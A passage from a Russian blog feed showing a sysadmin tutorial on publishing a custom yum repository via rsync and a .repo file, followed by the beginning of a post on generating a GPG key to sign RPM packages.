&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ rsync -avz --delete ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; repmgr@yum&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/srv/yum&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;/b&gt;The authenticity of host &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;yum.example.com (123.123.123.123)&#39;&lt;/span&gt; can&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;t be established.&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;RSA key fingerprint is c6:bb:05:2f:52:ef:87:52:b6:2a:96:bb:98:3f:eb:7b.&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;Warning: Permanently added &#39;&lt;/span&gt;yum&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com,&lt;span style=&quot;color: #c00000;&quot;&gt;123&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;123&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;123&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;123&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39; (RSA) to the list of known hosts.&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;repmgr@yum.example.com&#39;&lt;/span&gt;s password&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; 
sending incremental file list
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
pub&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;pub/RPM-GPG-KEY-MYORG&lt;/span&gt;
rhel&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-debug-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-debug-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-debug-devel-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-debuginfo-common-x86_64-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-devel-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-firmware-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/kernel-headers-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/perf-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/python-perf-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/python-perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata/0aba24b2168e97f43d15e1fbbe8243384ecae5f3e0f02505e15eec91b160cf28-other.sqlite.bz2&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata/1ef882fa678df2ba2ab1e8401a702061344d7f3f16f1317bfa53ced680b4efc8-other.xml.gz&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata/3750519bcd5461a7c9ec375942df9f6fd35011c48b94f22b8b446ea0372b36fe-filelists.xml.gz&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata/89fc2ed9424e6601062d01c77572079fd01558ea9304041a77b765ad5abf52dd-primary.xml.gz&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata/bfa923056ac76a89a1958e63046d410e9255dd31ed778dc771db3b44b809c468-primary.sqlite.bz2&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata/d94ca190c7d622d6747b51fcd2acd7fbc0f8f28848eb53477c34c2b365a5fd57-filelists.sqlite.bz2&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rhel/6/x86_64/repodata/repomd.xml&lt;/span&gt;

sent &lt;span style=&quot;color: #c00000;&quot;&gt;661676844&lt;/span&gt; bytes  received &lt;span style=&quot;color: #c00000;&quot;&gt;434&lt;/span&gt; bytes  &lt;span style=&quot;color: #c00000;&quot;&gt;10101943&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;bytes/sec&lt;/span&gt;
total size is &lt;span style=&quot;color: #c00000;&quot;&gt;688558480&lt;/span&gt;  speedup is &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;04&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Теперь на целевой системе описываем наш репозиторий, и можно использовать&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;cat &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/yum.repos.d/myorg.repo&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;[myorg]&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;name=Packages for MY CUSTOM SERVER&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;baseurl=http://yum.example.com/rhel/6/$basearch&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;enabled=1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;gpgcheck=1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;gpgkey=http://yum.example.com/pub/RPM-GPG-KEY-MYORG&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Теперь можем установить что ни будь из нового репозитория&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;yum install -y kernel-firmware-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;32&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;431&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;el6&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;myorg&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;x86_64&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Источники информации:&lt;br /&gt;
http://yum.baseurl.org/wiki/RepoCreate&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_e.png?x-id=bea49913-dc62-45ed-8508-d9167038b5c1&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/3545302026903169407/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2014/03/yum.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/3545302026903169407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/3545302026903169407'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2014/03/yum.html' title='Создаём собственный yum репозиторий'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgNKodXmZuEiqOZjTAR0JxvD6fJ02wvF9b4TZiob3dzX6iErX3FCfi4znjE9mPXa9xgaGsdEzdZM15S1XVOysL3Tq7SSdLLGUofkJ5NHAbVn-Dz7HkENY7SMzlrH5TA6o_Jby92uC42RMf/s72-c/yum.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-1868284713819689707</id><published>2014-03-18T17:26:00.000+07:00</published><updated>2014-03-18T17:27:47.747+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="GNU Privacy Guard"/><category scheme="http://www.blogger.com/atom/ns#" term="GPG"/><category scheme="http://www.blogger.com/atom/ns#" term="RPM"/><title type='text'>Создаём GPG ключ и подписываем RPM&#39;ки</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib-2X3aZw2UM5B7KhgVVkEAVCedmHVpjg6EGTplsgnC_llLz9JrJQLA8xR_xfUn4c3bH5d-GJRMMLvYyqa1tjquKUqQF5EtDTwmyCQsKlPt__vfqi_a3km1GX4y086dbjaMqRg5Fjg_W0A/s1600/200px-Gnupg_logo.svg.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib-2X3aZw2UM5B7KhgVVkEAVCedmHVpjg6EGTplsgnC_llLz9JrJQLA8xR_xfUn4c3bH5d-GJRMMLvYyqa1tjquKUqQF5EtDTwmyCQsKlPt__vfqi_a3km1GX4y086dbjaMqRg5Fjg_W0A/s1600/200px-Gnupg_logo.svg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
На случай если встала необходимость держать свой REPO, и очень хочется делать это с преферансом и куртизанками.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFBkHP9ACuAnnv2SiPMohJy-CYjVoEgArMUOmy8eKC8wSfeCv1N7ds04T1CConXxiRt_aE2Ii7tg4tctxzdDu2S_ESpNyk-u2V7RlZCHnOriFIDywrhcQ-YfKMYigxhKlq24t7kjx7XgnJ/s1600/200px-RPM_Logo.svg.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFBkHP9ACuAnnv2SiPMohJy-CYjVoEgArMUOmy8eKC8wSfeCv1N7ds04T1CConXxiRt_aE2Ii7tg4tctxzdDu2S_ESpNyk-u2V7RlZCHnOriFIDywrhcQ-YfKMYigxhKlq24t7kjx7XgnJ/s1600/200px-RPM_Logo.svg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Создание пары Public/Private GPG ключей&lt;/h3&gt;
Небольшая аннотация. Чтобы генерация прошла быстрее, запустите в соседней консоли:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;text-align: right;&quot;&gt;&lt;b&gt;find / -&lt;span style=&quot;color: #bb7977;&quot;&gt;type&lt;/span&gt; f &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Xargs&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Xargs&quot;&gt;xargs&lt;/a&gt; cat &amp;amp;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki//dev/null&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;/dev/null&quot;&gt;/dev/null&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Приступим к генерации:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ gpg --gen-key 
&lt;/b&gt;gpg &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.gnupg.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;GNU Privacy Guard&quot;&gt;GnuPG&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; Copyright &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;C&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2009&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.fsf.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Free Software Foundation&quot;&gt;Free Software Foundation&lt;/a&gt;, Inc&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
This is &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Free_software&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Free software&quot;&gt;free software&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; you are free to change and redistribute it&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
There is NO WARRANTY, to the extent permitted by law&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;

gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; directory &lt;span style=&quot;background-color: #ffffe8;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt;gnupg&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&#39; created&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;gpg: new &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Configuration_file&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Configuration file&quot;&gt;configuration file&lt;/a&gt; `/home/builder/.gnupg/gpg.conf&#39;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; created&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8;&quot;&gt;gpg&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; WARNING&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; options &lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #400000; font-weight: bold;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;gnupg/gpg.conf&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39; are not yet active during this run&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;gpg: &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Keychain&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Keychain&quot;&gt;keyring&lt;/a&gt; `/home/builder/.gnupg/secring.gpg&#39;&lt;/span&gt; created
gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; keyring &lt;span style=&quot;background-color: #ffffe8;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #40015a;&quot;&gt;gnupg/pubring.gpg&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&#39; created&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Please select what kind of key you want:&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(1) &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/RSA_%28algorithm%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;RSA (algorithm)&quot;&gt;RSA&lt;/a&gt; and RSA (default)&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(2) &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Digital_Signature_Algorithm&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Digital Signature Algorithm&quot;&gt;DSA&lt;/a&gt; and &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/ElGamal_encryption&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;ElGamal encryption&quot;&gt;Elgamal&lt;/a&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(3) DSA (sign only)&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(4) RSA (sign only)&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Your selection? 1&lt;/span&gt;
&lt;/b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;RSA keys may be between 1024 and 4096 bits long.&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;What keysize do you want? (2048) &lt;/span&gt;
&lt;/b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Requested keysize is 2048 bits&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Please specify how long the key should be valid.&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0 = key does not expire&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;n&gt;  = key expires in n days&lt;/n&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;n&gt;w = key expires in n weeks&lt;/n&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;n&gt;m = key expires in n months&lt;/n&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;n&gt;y = key expires in n years&lt;/n&gt;&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Key is valid for? (0) &lt;/span&gt;
&lt;/b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Key does not expire at all&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Is this correct? (y/N) y&lt;/span&gt;
&lt;/b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;GnuPG needs to construct a user ID to identify your key.&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Real name: Your Name&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Email address: your_email@example.com&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Comment: RPM Maintainer&lt;/span&gt;
&lt;/b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;You selected this USER-ID:&lt;/span&gt;
